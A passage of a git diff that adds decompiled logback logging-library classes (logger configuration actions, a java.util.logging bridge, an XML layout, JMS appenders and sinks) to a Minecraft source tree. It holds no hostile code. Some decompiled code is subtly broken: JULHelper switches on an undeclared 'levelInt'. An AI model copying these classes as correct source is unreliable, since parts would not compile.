+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.util.OptionHelper;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggerAction
+  extends Action
+{
+  public static final String LEVEL_ATTRIBUTE = "level";
+  boolean inError = false;
+  
+  public LoggerAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes) { inError = false;
+    logger = null;
+    
+    LoggerContext loggerContext = (LoggerContext)context;
+    
+    String loggerName = ec.subst(attributes.getValue("name"));
+    
+    if (OptionHelper.isEmpty(loggerName)) {
+      inError = true;
+      String aroundLine = getLineColStr(ec);
+      String errorMsg = "No 'name' attribute in element " + name + ", around " + aroundLine;
+      addError(errorMsg);
+      return;
+    }
+    
+    logger = loggerContext.getLogger(loggerName);
+    
+    String levelStr = ec.subst(attributes.getValue("level"));
+    
+    if (!OptionHelper.isEmpty(levelStr)) {
+      if (("INHERITED".equalsIgnoreCase(levelStr)) || ("NULL".equalsIgnoreCase(levelStr)))
+      {
+        addInfo("Setting level of logger [" + loggerName + "] to null, i.e. INHERITED");
+        
+        logger.setLevel(null);
+      } else {
+        Level level = Level.toLevel(levelStr);
+        addInfo("Setting level of logger [" + loggerName + "] to " + level);
+        logger.setLevel(level);
+      }
+    }
+    
+    String additivityStr = ec.subst(attributes.getValue("additivity"));
+    if (!OptionHelper.isEmpty(additivityStr)) {
+      boolean additive = OptionHelper.toBoolean(additivityStr, true);
+      addInfo("Setting additivity of logger [" + loggerName + "] to " + additive);
+      
+      logger.setAdditive(additive);
+    }
+    ec.pushObject(logger);
+  }
+  
+  Logger logger;
+  public void end(InterpretationContext ec, String e) { if (inError) {
+      return;
+    }
+    Object o = ec.peekObject();
+    if (o != logger) {
+      addWarn("The object on the top the of the stack is not " + logger + " pushed earlier");
+      addWarn("It is: " + o);
+    } else {
+      ec.popObject();
+    }
+  }
+  
+  public void finish(InterpretationContext ec) {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/LoggerContextListenerAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/LoggerContextListenerAction.java
new file mode 100644
index 0000000..5d46691
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/LoggerContextListenerAction.java
@@ -0,0 +1,81 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.spi.LoggerContextListener;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.util.OptionHelper;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggerContextListenerAction
+  extends Action
+{
+  boolean inError = false;
+  LoggerContextListener lcl;
+  
+  public LoggerContextListenerAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes) throws ActionException
+  {
+    inError = false;
+    
+    String className = attributes.getValue("class");
+    if (OptionHelper.isEmpty(className)) {
+      addError("Mandatory \"class\" attribute not set for <loggerContextListener> element");
+      
+      inError = true;
+      return;
+    }
+    try
+    {
+      lcl = ((LoggerContextListener)OptionHelper.instantiateByClassName(className, LoggerContextListener.class, context));
+      
+
+      if ((lcl instanceof ContextAware)) {
+        ((ContextAware)lcl).setContext(context);
+      }
+      
+      ec.pushObject(lcl);
+      addInfo("Adding LoggerContextListener of type [" + className + "] to the object stack");
+    }
+    catch (Exception oops)
+    {
+      inError = true;
+      addError("Could not create LoggerContextListener of type " + className + "].", oops);
+    }
+  }
+  
+  public void end(InterpretationContext ec, String name) throws ActionException
+  {
+    if (inError) {
+      return;
+    }
+    Object o = ec.peekObject();
+    
+    if (o != lcl) {
+      addWarn("The object on the top the of the stack is not the LoggerContextListener pushed earlier.");
+    } else {
+      if ((lcl instanceof LifeCycle)) {
+        ((LifeCycle)lcl).start();
+        addInfo("Starting LoggerContextListener");
+      }
+      ((LoggerContext)context).addListener(lcl);
+      ec.popObject();
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/ReceiverAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/ReceiverAction.java
new file mode 100644
index 0000000..cbc4bdb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/ReceiverAction.java
@@ -0,0 +1,80 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.classic.net.ReceiverBase;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.util.OptionHelper;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ReceiverAction
+  extends Action
+{
+  private ReceiverBase receiver;
+  private boolean inError;
+  
+  public ReceiverAction() {}
+  
+  public void begin(InterpretationContext ic, String name, Attributes attributes)
+    throws ActionException
+  {
+    String className = attributes.getValue("class");
+    if (OptionHelper.isEmpty(className)) {
+      addError("Missing class name for receiver. Near [" + name + "] line " + getLineNumber(ic));
+      
+      inError = true;
+      return;
+    }
+    try
+    {
+      addInfo("About to instantiate receiver of type [" + className + "]");
+      
+      receiver = ((ReceiverBase)OptionHelper.instantiateByClassName(className, ReceiverBase.class, context));
+      
+      receiver.setContext(context);
+      
+      ic.pushObject(receiver);
+    }
+    catch (Exception ex) {
+      inError = true;
+      addError("Could not create a receiver of type [" + className + "].", ex);
+      throw new ActionException(ex);
+    }
+  }
+  
+
+  public void end(InterpretationContext ic, String name)
+    throws ActionException
+  {
+    if (inError) { return;
+    }
+    ic.getContext().register(receiver);
+    receiver.start();
+    
+    Object o = ic.peekObject();
+    if (o != receiver) {
+      addWarn("The object at the of the stack is not the remote pushed earlier.");
+    }
+    else {
+      ic.popObject();
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/RootLoggerAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/RootLoggerAction.java
new file mode 100644
index 0000000..8d66d1f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/RootLoggerAction.java
@@ -0,0 +1,60 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.util.OptionHelper;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+public class RootLoggerAction
+  extends Action
+{
+  Logger root;
+  
+  public RootLoggerAction() {}
+  
+  boolean inError = false;
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes) {
+    inError = false;
+    
+    LoggerContext loggerContext = (LoggerContext)context;
+    root = loggerContext.getLogger("ROOT");
+    
+    String levelStr = ec.subst(attributes.getValue("level"));
+    if (!OptionHelper.isEmpty(levelStr)) {
+      Level level = Level.toLevel(levelStr);
+      addInfo("Setting level of ROOT logger to " + level);
+      root.setLevel(level);
+    }
+    ec.pushObject(root);
+  }
+  
+  public void end(InterpretationContext ec, String name) {
+    if (inError) {
+      return;
+    }
+    Object o = ec.peekObject();
+    if (o != root) {
+      addWarn("The object on the top the of the stack is not the root logger");
+      addWarn("It is: " + o);
+    } else {
+      ec.popObject();
+    }
+  }
+  
+  public void finish(InterpretationContext ec) {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/jul/JULHelper.java b/src/minecraft/ch/qos/logback/classic/jul/JULHelper.java
new file mode 100644
index 0000000..641d524
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/jul/JULHelper.java
@@ -0,0 +1,73 @@
+package ch.qos.logback.classic.jul;
+
+
+
+
+
+
+
+
+public class JULHelper
+{
+  public JULHelper() {}
+  
+
+
+
+
+
+
+
+  public static final boolean isRegularNonRootLogger(java.util.logging.Logger julLogger)
+  {
+    if (julLogger == null)
+      return false;
+    return !julLogger.getName().equals("");
+  }
+  
+  public static final boolean isRoot(java.util.logging.Logger julLogger) {
+    if (julLogger == null)
+      return false;
+    return julLogger.getName().equals("");
+  }
+  
+  public static java.util.logging.Level asJULLevel(ch.qos.logback.classic.Level lbLevel) {
+    if (lbLevel == null) {
+      throw new IllegalArgumentException("Unexpected level [null]");
+    }
+    switch (levelInt) {
+    case -2147483648: 
+      return java.util.logging.Level.ALL;
+    case 5000: 
+      return java.util.logging.Level.FINEST;
+    case 10000: 
+      return java.util.logging.Level.FINE;
+    case 20000: 
+      return java.util.logging.Level.INFO;
+    case 30000: 
+      return java.util.logging.Level.WARNING;
+    case 40000: 
+      return java.util.logging.Level.SEVERE;
+    case 2147483647: 
+      return java.util.logging.Level.OFF;
+    }
+    throw new IllegalArgumentException("Unexpected level [" + lbLevel + "]");
+  }
+  
+  public static String asJULLoggerName(String loggerName)
+  {
+    if ("ROOT".equals(loggerName)) {
+      return "";
+    }
+    return loggerName;
+  }
+  
+  public static java.util.logging.Logger asJULLogger(String loggerName) {
+    String julLoggerName = asJULLoggerName(loggerName);
+    return java.util.logging.Logger.getLogger(julLoggerName);
+  }
+  
+  public static java.util.logging.Logger asJULLogger(ch.qos.logback.classic.Logger logger) {
+    return asJULLogger(logger.getName());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/jul/LevelChangePropagator.java b/src/minecraft/ch/qos/logback/classic/jul/LevelChangePropagator.java
new file mode 100644
index 0000000..9008153
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/jul/LevelChangePropagator.java
@@ -0,0 +1,110 @@
+package ch.qos.logback.classic.jul;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.spi.LoggerContextListener;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.LifeCycle;
+import java.util.Enumeration;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.logging.LogManager;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LevelChangePropagator
+  extends ContextAwareBase
+  implements LoggerContextListener, LifeCycle
+{
+  public LevelChangePropagator() {}
+  
+  private Set julLoggerSet = new HashSet();
+  boolean isStarted = false;
+  boolean resetJUL = false;
+  
+  public void setResetJUL(boolean resetJUL) {
+    this.resetJUL = resetJUL;
+  }
+  
+  public boolean isResetResistant() {
+    return false;
+  }
+  
+
+  public void onStart(LoggerContext context) {}
+  
+
+  public void onReset(LoggerContext context) {}
+  
+  public void onStop(LoggerContext context) {}
+  
+  public void onLevelChange(ch.qos.logback.classic.Logger logger, ch.qos.logback.classic.Level level)
+  {
+    propagate(logger, level);
+  }
+  
+  private void propagate(ch.qos.logback.classic.Logger logger, ch.qos.logback.classic.Level level) {
+    addInfo("Propagating " + level + " level on " + logger + " onto the JUL framework");
+    java.util.logging.Logger julLogger = JULHelper.asJULLogger(logger);
+    
+
+    julLoggerSet.add(julLogger);
+    java.util.logging.Level julLevel = JULHelper.asJULLevel(level);
+    julLogger.setLevel(julLevel);
+  }
+  
+  public void resetJULLevels() {
+    LogManager lm = LogManager.getLogManager();
+    
+    Enumeration e = lm.getLoggerNames();
+    while (e.hasMoreElements()) {
+      String loggerName = (String)e.nextElement();
+      java.util.logging.Logger julLogger = lm.getLogger(loggerName);
+      if ((JULHelper.isRegularNonRootLogger(julLogger)) && (julLogger.getLevel() != null)) {
+        addInfo("Setting level of jul logger [" + loggerName + "] to null");
+        julLogger.setLevel(null);
+      }
+    }
+  }
+  
+  private void propagateExistingLoggerLevels() {
+    LoggerContext loggerContext = (LoggerContext)context;
+    List<ch.qos.logback.classic.Logger> loggerList = loggerContext.getLoggerList();
+    for (ch.qos.logback.classic.Logger l : loggerList) {
+      if (l.getLevel() != null) {
+        propagate(l, l.getLevel());
+      }
+    }
+  }
+  
+  public void start() {
+    if (resetJUL) {
+      resetJULLevels();
+    }
+    propagateExistingLoggerLevels();
+    
+    isStarted = true;
+  }
+  
+  public void stop() {
+    isStarted = false;
+  }
+  
+  public boolean isStarted() {
+    return isStarted;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/log4j/XMLLayout.java b/src/minecraft/ch/qos/logback/classic/log4j/XMLLayout.java
new file mode 100644
index 0000000..d069c24
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/log4j/XMLLayout.java
@@ -0,0 +1,186 @@
+package ch.qos.logback.classic.log4j;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.IThrowableProxy;
+import ch.qos.logback.classic.spi.StackTraceElementProxy;
+import ch.qos.logback.core.LayoutBase;
+import ch.qos.logback.core.helpers.Transform;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class XMLLayout
+  extends LayoutBase<ILoggingEvent>
+{
+  private final int DEFAULT_SIZE = 256;
+  private final int UPPER_LIMIT = 2048;
+  
+  private StringBuilder buf = new StringBuilder(256);
+  private boolean locationInfo = false;
+  private boolean properties = false;
+  
+  public XMLLayout() {}
+  
+  public void start() { super.start(); }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setLocationInfo(boolean flag)
+  {
+    locationInfo = flag;
+  }
+  
+
+
+  public boolean getLocationInfo()
+  {
+    return locationInfo;
+  }
+  
+
+
+
+
+
+
+  public void setProperties(boolean flag)
+  {
+    properties = flag;
+  }
+  
+
+
+
+
+
+  public boolean getProperties()
+  {
+    return properties;
+  }
+  
+
+
+
+
+
+  public String doLayout(ILoggingEvent event)
+  {
+    if (buf.capacity() > 2048) {
+      buf = new StringBuilder(256);
+    } else {
+      buf.setLength(0);
+    }
+    
+
+
+    buf.append("<log4j:event logger=\"");
+    buf.append(Transform.escapeTags(event.getLoggerName()));
+    buf.append("\"\r\n");
+    buf.append("             timestamp=\"");
+    buf.append(event.getTimeStamp());
+    buf.append("\" level=\"");
+    buf.append(event.getLevel());
+    buf.append("\" thread=\"");
+    buf.append(Transform.escapeTags(event.getThreadName()));
+    buf.append("\">\r\n");
+    
+    buf.append("  <log4j:message>");
+    buf.append(Transform.escapeTags(event.getFormattedMessage()));
+    buf.append("</log4j:message>\r\n");
+    
+
+
+
+
+    IThrowableProxy tp = event.getThrowableProxy();
+    if (tp != null) {
+      StackTraceElementProxy[] stepArray = tp.getStackTraceElementProxyArray();
+      buf.append("  <log4j:throwable><![CDATA[");
+      for (StackTraceElementProxy step : stepArray) {
+        buf.append('\t');
+        buf.append(step.toString());
+        buf.append("\r\n");
+      }
+      buf.append("]]></log4j:throwable>\r\n");
+    }
+    
+    if (locationInfo) {
+      StackTraceElement[] callerDataArray = event.getCallerData();
+      if ((callerDataArray != null) && (callerDataArray.length > 0)) {
+        StackTraceElement immediateCallerData = callerDataArray[0];
+        buf.append("  <log4j:locationInfo class=\"");
+        buf.append(immediateCallerData.getClassName());
+        buf.append("\"\r\n");
+        buf.append("                      method=\"");
+        buf.append(Transform.escapeTags(immediateCallerData.getMethodName()));
+        buf.append("\" file=\"");
+        buf.append(Transform.escapeTags(immediateCallerData.getFileName()));
+        buf.append("\" line=\"");
+        buf.append(immediateCallerData.getLineNumber());
+        buf.append("\"/>\r\n");
+      }
+    }
+    
+
+
+
+
+    if (getProperties()) {
+      Map<String, String> propertyMap = event.getMDCPropertyMap();
+      
+      if ((propertyMap != null) && (propertyMap.size() != 0)) {
+        Set<Map.Entry<String, String>> entrySet = propertyMap.entrySet();
+        buf.append("  <log4j:properties>");
+        for (Map.Entry<String, String> entry : entrySet) {
+          buf.append("\r\n    <log4j:data");
+          buf.append(" name='" + Transform.escapeTags((String)entry.getKey()) + "'");
+          buf.append(" value='" + Transform.escapeTags((String)entry.getValue()) + "'");
+          buf.append(" />");
+        }
+        buf.append("\r\n  </log4j:properties>");
+      }
+    }
+    
+    buf.append("\r\n</log4j:event>\r\n\r\n");
+    
+    return buf.toString();
+  }
+  
+  public String getContentType()
+  {
+    return "text/xml";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/JMSQueueAppender.java b/src/minecraft/ch/qos/logback/classic/net/JMSQueueAppender.java
new file mode 100644
index 0000000..f787bd9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/JMSQueueAppender.java
@@ -0,0 +1,211 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.net.JMSAppenderBase;
+import ch.qos.logback.core.spi.PreSerializationTransformer;
+import java.io.Serializable;
+import javax.jms.ObjectMessage;
+import javax.jms.Queue;
+import javax.jms.QueueConnection;
+import javax.jms.QueueConnectionFactory;
+import javax.jms.QueueSender;
+import javax.jms.QueueSession;
+import javax.naming.Context;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JMSQueueAppender
+  extends JMSAppenderBase<ILoggingEvent>
+{
+  static int SUCCESSIVE_FAILURE_LIMIT = 3;
+  
+  String queueBindingName;
+  
+  String qcfBindingName;
+  QueueConnection queueConnection;
+  QueueSession queueSession;
+  QueueSender queueSender;
+  int successiveFailureCount = 0;
+  
+  private PreSerializationTransformer<ILoggingEvent> pst = new LoggingEventPreSerializationTransformer();
+  
+
+  public JMSQueueAppender() {}
+  
+
+  public void setQueueConnectionFactoryBindingName(String qcfBindingName)
+  {
+    this.qcfBindingName = qcfBindingName;
+  }
+  
+
+
+  public String getQueueConnectionFactoryBindingName()
+  {
+    return qcfBindingName;
+  }
+  
+
+
+
+  public void setQueueBindingName(String queueBindingName)
+  {
+    this.queueBindingName = queueBindingName;
+  }
+  
+
+
+  public String getQueueBindingName()
+  {
+    return queueBindingName;
+  }
+  
+
+
+
+  public void start()
+  {
+    try
+    {
+      Context jndi = buildJNDIContext();
+      
+
+      QueueConnectionFactory queueConnectionFactory = (QueueConnectionFactory)lookup(jndi, qcfBindingName);
+      
+
+      if (userName != null) {
+        queueConnection = queueConnectionFactory.createQueueConnection(userName, password);
+      }
+      else {
+        queueConnection = queueConnectionFactory.createQueueConnection();
+      }
+      
+
+
+
+      queueSession = queueConnection.createQueueSession(false, 1);
+      
+
+
+      Queue queue = (Queue)lookup(jndi, queueBindingName);
+      
+
+      queueSender = queueSession.createSender(queue);
+      
+
+      queueConnection.start();
+      
+      jndi.close();
+    } catch (Exception e) {
+      addError("Error while activating options for appender named [" + name + "].", e);
+    }
+    
+
+    if ((queueConnection != null) && (queueSession != null) && (queueSender != null))
+    {
+      super.start();
+    }
+  }
+  
+
+
+
+
+  public synchronized void stop()
+  {
+    if (!started) {
+      return;
+    }
+    
+    started = false;
+    try
+    {
+      if (queueSession != null) {
+        queueSession.close();
+      }
+      if (queueConnection != null) {
+        queueConnection.close();
+      }
+    } catch (Exception e) {
+      addError("Error while closing JMSAppender [" + name + "].", e);
+    }
+    
+
+    queueSender = null;
+    queueSession = null;
+    queueConnection = null;
+  }
+  
+
+
+
+  public void append(ILoggingEvent event)
+  {
+    if (!isStarted()) {
+      return;
+    }
+    try
+    {
+      ObjectMessage msg = queueSession.createObjectMessage();
+      Serializable so = pst.transform(event);
+      msg.setObject(so);
+      queueSender.send(msg);
+      successiveFailureCount = 0;
+    } catch (Exception e) {
+      successiveFailureCount += 1;
+      if (successiveFailureCount > SUCCESSIVE_FAILURE_LIMIT) {
+        stop();
+      }
+      addError("Could not send message in JMSQueueAppender [" + name + "].", e);
+    }
+  }
+  
+
+
+
+
+  protected QueueConnection getQueueConnection()
+  {
+    return queueConnection;
+  }
+  
+
+
+
+  protected QueueSession getQueueSession()
+  {
+    return queueSession;
+  }
+  
+
+
+
+  protected QueueSender getQueueSender()
+  {
+    return queueSender;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/JMSQueueSink.java b/src/minecraft/ch/qos/logback/classic/net/JMSQueueSink.java
new file mode 100644
index 0000000..cf2bca2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/JMSQueueSink.java
@@ -0,0 +1,152 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.util.ContextInitializer;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.io.PrintStream;
+import java.util.Properties;
+import javax.jms.JMSException;
+import javax.jms.Message;
+import javax.jms.MessageConsumer;
+import javax.jms.MessageListener;
+import javax.jms.ObjectMessage;
+import javax.jms.Queue;
+import javax.jms.QueueConnection;
+import javax.jms.QueueConnectionFactory;
+import javax.jms.QueueSession;
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.naming.NameNotFoundException;
+import javax.naming.NamingException;
+import org.slf4j.LoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JMSQueueSink
+  implements MessageListener
+{
+  private Logger logger = (Logger)LoggerFactory.getLogger(JMSTopicSink.class);
+  
+  public static void main(String[] args) throws Exception {
+    if (args.length < 2) {
+      usage("Wrong number of arguments.");
+    }
+    
+    String qcfBindingName = args[0];
+    String queueBindingName = args[1];
+    String username = null;
+    String password = null;
+    if (args.length == 4) {
+      username = args[2];
+      password = args[3];
+    }
+    
+    LoggerContext loggerContext = (LoggerContext)LoggerFactory.getILoggerFactory();
+    
+    new ContextInitializer(loggerContext).autoConfig();
+    
+    new JMSQueueSink(qcfBindingName, queueBindingName, username, password);
+    
+    BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
+    
+    System.out.println("Type \"exit\" to quit JMSQueueSink.");
+    for (;;) {
+      String s = stdin.readLine();
+      if (s.equalsIgnoreCase("exit")) {
+        System.out.println("Exiting. Kill the application if it does not exit due to daemon threads.");
+        
+        return;
+      }
+    }
+  }
+  
+  public JMSQueueSink(String qcfBindingName, String queueBindingName, String username, String password)
+  {
+    try
+    {
+      Properties env = new Properties();
+      env.put("java.naming.factory.initial", "org.apache.activemq.jndi.ActiveMQInitialContextFactory");
+      env.put("java.naming.provider.url", "tcp://localhost:61616");
+      Context ctx = new InitialContext(env);
+      
+      QueueConnectionFactory queueConnectionFactory = (QueueConnectionFactory)lookup(ctx, qcfBindingName);
+      
+      System.out.println("Queue Cnx Factory found");
+      Queue queue = (Queue)ctx.lookup(queueBindingName);
+      System.out.println("Queue found: " + queue.getQueueName());
+      
+      QueueConnection queueConnection = queueConnectionFactory.createQueueConnection(username, password);
+      
+      System.out.println("Queue Connection created");
+      
+      QueueSession queueSession = queueConnection.createQueueSession(false, 1);
+      
+
+      MessageConsumer queueConsumer = queueSession.createConsumer(queue);
+      
+      queueConsumer.setMessageListener(this);
+      
+      queueConnection.start();
+      System.out.println("Queue Connection started");
+    }
+    catch (Exception e) {
+      logger.error("Could not read JMS message.", e);
+    }
+  }
+  
+  public void onMessage(Message message)
+  {
+    try {
+      if ((message instanceof ObjectMessage)) {
+        ObjectMessage objectMessage = (ObjectMessage)message;
+        ILoggingEvent event = (ILoggingEvent)objectMessage.getObject();
+        Logger log = (Logger)LoggerFactory.getLogger(event.getLoggerName());
+        log.callAppenders(event);
+      } else {
+        logger.warn("Received message is of type " + message.getJMSType() + ", was expecting ObjectMessage.");
+      }
+    }
+    catch (JMSException jmse) {
+      logger.error("Exception thrown while processing incoming message.", jmse);
+    }
+  }
+  
+  protected Object lookup(Context ctx, String name) throws NamingException
+  {
+    try {
+      return ctx.lookup(name);
+    } catch (NameNotFoundException e) {
+      logger.error("Could not find name [" + name + "].");
+      throw e;
+    }
+  }
+  
+  static void usage(String msg) {
+    System.err.println(msg);
+    System.err.println("Usage: java " + JMSQueueSink.class.getName() + " QueueConnectionFactoryBindingName QueueBindingName Username Password");
+    
+
+
+    System.exit(1);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/JMSTopicAppender.java b/src/minecraft/ch/qos/logback/classic/net/JMSTopicAppender.java
new file mode 100644
index 0000000..040f611
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/JMSTopicAppender.java
@@ -0,0 +1,211 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.net.JMSAppenderBase;
+import ch.qos.logback.core.spi.PreSerializationTransformer;
+import java.io.Serializable;
+import javax.jms.ObjectMessage;
+import javax.jms.Topic;
+import javax.jms.TopicConnection;
+import javax.jms.TopicConnectionFactory;
+import javax.jms.TopicPublisher;
+import javax.jms.TopicSession;
+import javax.naming.Context;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JMSTopicAppender
+  extends JMSAppenderBase<ILoggingEvent>
+{
+  static int SUCCESSIVE_FAILURE_LIMIT = 3;
+  
+  String topicBindingName;
+  
+  String tcfBindingName;
+  TopicConnection topicConnection;
+  TopicSession topicSession;
+  TopicPublisher topicPublisher;
+  int successiveFailureCount = 0;
+  
+  private PreSerializationTransformer<ILoggingEvent> pst = new LoggingEventPreSerializationTransformer();
+  
+
+  public JMSTopicAppender() {}
+  
+
+  public void setTopicConnectionFactoryBindingName(String tcfBindingName)
+  {
+    this.tcfBindingName = tcfBindingName;
+  }
+  
+
+
+  public String getTopicConnectionFactoryBindingName()
+  {
+    return tcfBindingName;
+  }
+  
+
+
+
+  public void setTopicBindingName(String topicBindingName)
+  {
+    this.topicBindingName = topicBindingName;
+  }
+  
+
+
+  public String getTopicBindingName()
+  {
+    return topicBindingName;
+  }
+  
+
+
+
+  public void start()
+  {
+    try
+    {
+      Context jndi = buildJNDIContext();
+      
+
+      TopicConnectionFactory topicConnectionFactory = (TopicConnectionFactory)lookup(jndi, tcfBindingName);
+      
+
+      if (userName != null) {
+        topicConnection = topicConnectionFactory.createTopicConnection(userName, password);
+      }
+      else {
+        topicConnection = topicConnectionFactory.createTopicConnection();
+      }
+      
+
+
+
+      topicSession = topicConnection.createTopicSession(false, 1);
+      
+
+
+      Topic topic = (Topic)lookup(jndi, topicBindingName);
+      
+
+      topicPublisher = topicSession.createPublisher(topic);
+      
+
+      topicConnection.start();
+      
+      jndi.close();
+    } catch (Exception e) {
+      addError("Error while activating options for appender named [" + name + "].", e);
+    }
+    
+
+    if ((topicConnection != null) && (topicSession != null) && (topicPublisher != null))
+    {
+      super.start();
+    }
+  }
+  
+
+
+
+
+  public synchronized void stop()
+  {
+    if (!started) {
+      return;
+    }
+    
+    started = false;
+    try
+    {
+      if (topicSession != null) {
+        topicSession.close();
+      }
+      if (topicConnection != null) {
+        topicConnection.close();
+      }
+    } catch (Exception e) {
+      addError("Error while closing JMSAppender [" + name + "].", e);
+    }
+    
+
+    topicPublisher = null;
+    topicSession = null;
+    topicConnection = null;
+  }
+  
+
+
+
+
+  public void append(ILoggingEvent event)
+  {
+    if (!isStarted()) {
+      return;
+    }
+    try
+    {
+      ObjectMessage msg = topicSession.createObjectMessage();
+      Serializable so = pst.transform(event);
+      msg.setObject(so);
+      topicPublisher.publish(msg);
+      successiveFailureCount = 0;
+    } catch (Exception e) {
+      successiveFailureCount += 1;
+      if (successiveFailureCount > SUCCESSIVE_FAILURE_LIMIT) {
+        stop();
+      }
+      addError("Could not publish message in JMSTopicAppender [" + name + "].", e);
+    }
+  }
+  
+
+
+
+  protected TopicConnection getTopicConnection()
+  {
+    return topicConnection;
+  }
+  
+
+
+
+  protected TopicSession getTopicSession()
+  {
+    return topicSession;
+  }
+  
+
+
+
+  protected TopicPublisher getTopicPublisher()
+  {
+    return topicPublisher;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/JMSTopicSink.java b/src/minecraft/ch/qos/logback/classic/net/JMSTopicSink.java
new file mode 100644
index 0000000..3690fa7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/JMSTopicSink.java
@@ -0,0 +1,152 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.util.ContextInitializer;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.io.PrintStream;
+import java.util.Properties;
+import javax.jms.JMSException;
+import javax.jms.Message;
+import javax.jms.MessageListener;
+import javax.jms.ObjectMessage;
+import javax.jms.Topic;
+import javax.jms.TopicConnection;
+import javax.jms.TopicConnectionFactory;
+import javax.jms.TopicSession;
+import javax.jms.TopicSubscriber;
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.naming.NameNotFoundException;
+import javax.naming.NamingException;
+import org.slf4j.LoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JMSTopicSink
+  implements MessageListener
+{
+  private Logger logger = (Logger)LoggerFactory.getLogger(JMSTopicSink.class);
+  
+  public static void main(String[] args) throws Exception {
+    if (args.length < 2) {
+      usage("Wrong number of arguments.");
+    }
+    
+    String tcfBindingName = args[0];
+    String topicBindingName = args[1];
+    String username = null;
+    String password = null;
+    if (args.length == 4) {
+      username = args[2];
+      password = args[3];
+    }
+    
+    LoggerContext loggerContext = (LoggerContext)LoggerFactory.getILoggerFactory();
+    
+    new ContextInitializer(loggerContext).autoConfig();
+    
+    new JMSTopicSink(tcfBindingName, topicBindingName, username, password);
+    
+    BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
+    
+    System.out.println("Type \"exit\" to quit JMSTopicSink.");
+    for (;;) {
+      String s = stdin.readLine();
+      if (s.equalsIgnoreCase("exit")) {
